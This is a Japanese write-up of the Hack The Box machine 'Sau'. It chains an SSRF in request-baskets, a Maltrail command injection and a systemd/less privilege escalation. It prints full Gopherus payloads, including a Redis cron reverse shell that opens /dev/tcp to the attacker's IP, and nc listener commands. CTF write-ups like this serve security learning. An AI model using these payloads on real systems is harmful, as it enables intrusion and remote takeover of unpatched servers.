【Hack The Box】Sau【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Sau___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
今回はRustScanで高速スキャンしてみた。
```bash
┌──(root㉿kali)-[~]
└─# rustscan -a  10.129.15.61 --top --ulimit 1500
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 1500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.15.61:22
Open 10.129.15.61:55555
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-11 05:39 EDT
Initiating Ping Scan at 05:39
Scanning 10.129.15.61 [4 ports]
Completed Ping Scan at 05:39, 0.35s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:39
Completed Parallel DNS resolution of 1 host. at 05:39, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:39
Scanning 10.129.15.61 [2 ports]
Discovered open port 22/tcp on 10.129.15.61
Discovered open port 55555/tcp on 10.129.15.61
Completed SYN Stealth Scan at 05:39, 0.30s elapsed (2 total ports)
Nmap scan report for 10.129.15.61
Host is up, received echo-reply ttl 63 (0.28s latency).
Scanned at 2023-07-11 05:39:14 EDT for 1s

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
55555/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
```
ポート22、55555が公開されてそう。
実際に55555にアクセスしてみると、以下のようなサイトが表示される。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/01526ca2-364f-be70-154a-9066cda8ae69.png)

さて、調査開始だ。

# Initial Access
## CVE-2023-27163
このサイトのResponseをささっと調べると以下のバージョン表示を見つける。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/cb3059d0-c91d-970a-6012-035211c465e5.png)
request-basketsの`Version 1.2.1`とのことなのでこれを探ってみる。
そうすると以下のGistを見つける。

https://gist.github.com/b33t1e/3079c10c88cad379fb166c389ce3b7b3

参考のURLを確認してみると実際のPoCが記載されているサイトを発見する。

https://notes.sjtu.edu.cn/s/MUUhEymt7

SSRFの脆弱性のようだ。自身が作成する{name}のバスケットのAPI`/api/baskets/{name}`に以下のPOSTデータを投げるとSSRFの脆弱性がセットされ、このバスケットのURL(10.129.15.61:55555/{name})にアクセスした際に発火するみたいだ。
```json
{
  "forward_url": "http://127.0.0.1:[PORT]/",
  "proxy_response": false,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}
```
というわけでSSRFは内部へのリクエストになるので、そこからコマンドが発火するようなサービスが内部で立ち上がっているか列挙することが大事になるのですが、面倒なので２つほどコマンドを試してみることにした。

以下のGopherusのToolを利用する。

https://github.com/tarunkant/Gopherus

## RCE - fastcgi
cgiが内部で動いていればRCEが発火するので、試してみる。
`ping -c 3`で確認
```bash
┌──(root㉿kali)-[/opt/Gopherus]
└─# python2 gopherus.py --exploit fastcgi


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  
Terminal command to run:  ping -c 3 10.10.14.196

Your gopher link is ready to do SSRF: 

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH74%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00J%04%00%3C%3Fphp%20system%28%27ping%20-c%203%2010.10.14.196%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------
```
RCE用のPayloadを作成してもらった。これを叩き込む。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c2244132-c8e9-ac9e-68d3-80d27a2fbe0d.png)
セット完了。続いて発火するか確認する。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/52414521-38d0-9d54-74bb-2764ccd1afa4.png)
うん、tcpdumpしてみたけど何も応答がない。んじゃ次。

## Reverseshell - redis
続いてredisが内部で動いている場合のreverseshellだ。
これも先ほどと同様にgopherusを利用する。
```bash
┌──(root㉿kali)-[/opt/Gopherus]
└─# python2 gopherus.py --exploit redis  


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): reverseshell

Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 10.10.14.196
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis : 

Your gopher link is ready to get Reverse Shell: 

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/10.10.14.196/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Before sending request plz do `nc -lvp 1234`

-----------Made-by-SpyD3r-----------
```
このPayloadを埋め込む。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5322e637-6910-b7e2-1fc8-b9c9b983c560.png)
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a0a700aa-64cb-1a0a-e55e-c0b81761630e.png)
発火しなかったのでこれもダメみたいだ。
大人しく列挙します。

## Forward URL
先ほどのSSRFは`forward_url`に宛先を書き込んでいたので、GUIの表示から宛先の編集を実施した。
とりあえずポート80番を指定する。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/24fd5208-212e-56a9-f655-c0405b3904e8.png)
さて、以下のようにResponseが帰ってきた。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/32330ea0-78ed-090d-a776-316539f815a9.png)
mailtrail？？v0.53と記載されているのでこの脆弱性を調べる。

## OS cmd Injection
以下のサイトを見つけた。

https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/

mailtrailのログイン機能がポート8338にあってそこに`username`のPOSTパラメータへOSコマンドインジェクションが通せるといった内容だ。
じゃぁ通してみますか。Portを8338に設定。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/52371d37-ff93-b81b-3818-60cefbc38ad6.png)
アクセスしてみる。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/af186146-7503-3a24-ff68-025be41d4df1.png)
Login failedの表示がでるので基本的にログイン機構がここに存在しそうである。
続いてPOSTデータを送信するのだが、ここら辺はrequest-basketsさんで以下の設定にしてみるとデータを渡すことが出来た。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ee26dc3a-69d8-5717-cee6-fb1c853fcdf7.png)
`ping -c 3`で試してみる。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1d45f787-4e1d-4cf7-fd22-46da9380d3e2.png)
ピンが来たのでcmd injection出来そうなのが分かった。
んじゃRevshellを叩き込みます。

## Reverseshell
御用達の以下サイトを参考にReverseShellのコマンドを作成

https://www.revshells.com/

リバースシェル確立のために受け側を用意しておく。
```bash
┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444           
listening on [any] 4444 ...
```
やっぱ`pty`打ってくれるPythonから試さないとね！
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/80cdd489-e0f2-0b1c-1fcd-6f5ff8d26577.png)
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2361a869-641c-5f5e-15ff-a505e8db6ca4.png)
シェルをゲットしました。
## interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。

`Ctrl`+`Z`で接続をバックグラウンドにし、以下のコマンドを実行する。

```bash
puma@sau:/opt/maltrail$ ^Z
zsh: suspended  nc -lvnp 4444
                                                                                                                                                            
┌──(root㉿kali)-[~]
└─# stty raw -echo; fg
[1]  + continued  nc -lvnp 4444
                               export TERM=xterm-256col
puma@sau:/opt/maltrail$ export SHELL=bash
puma@sau:/opt/maltrail$ 
puma@sau:/opt/maltrail$ 
```
これでUser権限ゲットです！！！

# Privilege Escalation
## sudo -l
とりあえず`sudo -l`で特権で使えそうなファイルやコマンドを探してみる。
```bash
puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:~$ 
```
ほう。んじゃこの`trail.service`の中身を見てみるか。
```bash
puma@sau:/etc/systemd/system$ cat trail.service 
[Unit]
Description=Maltrail. Server of malicious traffic detection system
Documentation=https://github.com/stamparm/maltrail#readme
Documentation=https://github.com/stamparm/maltrail/wiki
Requires=network.target
Before=maltrail-sensor.service
After=network-online.target

[Service]
User=puma
Group=puma
WorkingDirectory=/opt/maltrail
ExecStart=/usr/bin/python3 server.py
Restart=on-failure
KillMode=mixed

[Install]
WantedBy=multi-user.target
```
`/opt/maltrail`の階層も、`server.py`も編集できそうにないので、GTFOBinsのようにExecStartでExploitするのはよろしくなさそう。であれば別ルートがあるかどうかGoogleさんに聞いてる。。。

## CVE-2023-26604
いいものを見つけた。
以下の記事を参考にしてほしい。

https://security.sios.jp/vulnerability/systemd-security-vulnerability-20230307/

Display設定によってlessのコマンドに権限が渡されることになるようなので、途中でシェルなどを呼び出せるようだ。実際に試してみた。
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/3cdf2a20-2762-9ac2-417d-6d07ec4b79cb.png)
はい、Root権限ゲットだぜ！

# まとめ
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/538ef44d-d27a-68dc-0ffa-c9984bf1af8d.png)
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxはバージョンとCVEを追っていくだけだったのである程度簡単だったのではないかと思います。
これぞEasy！！

今回もセキュリティエンジニアの皆さんの助けになればなと思います。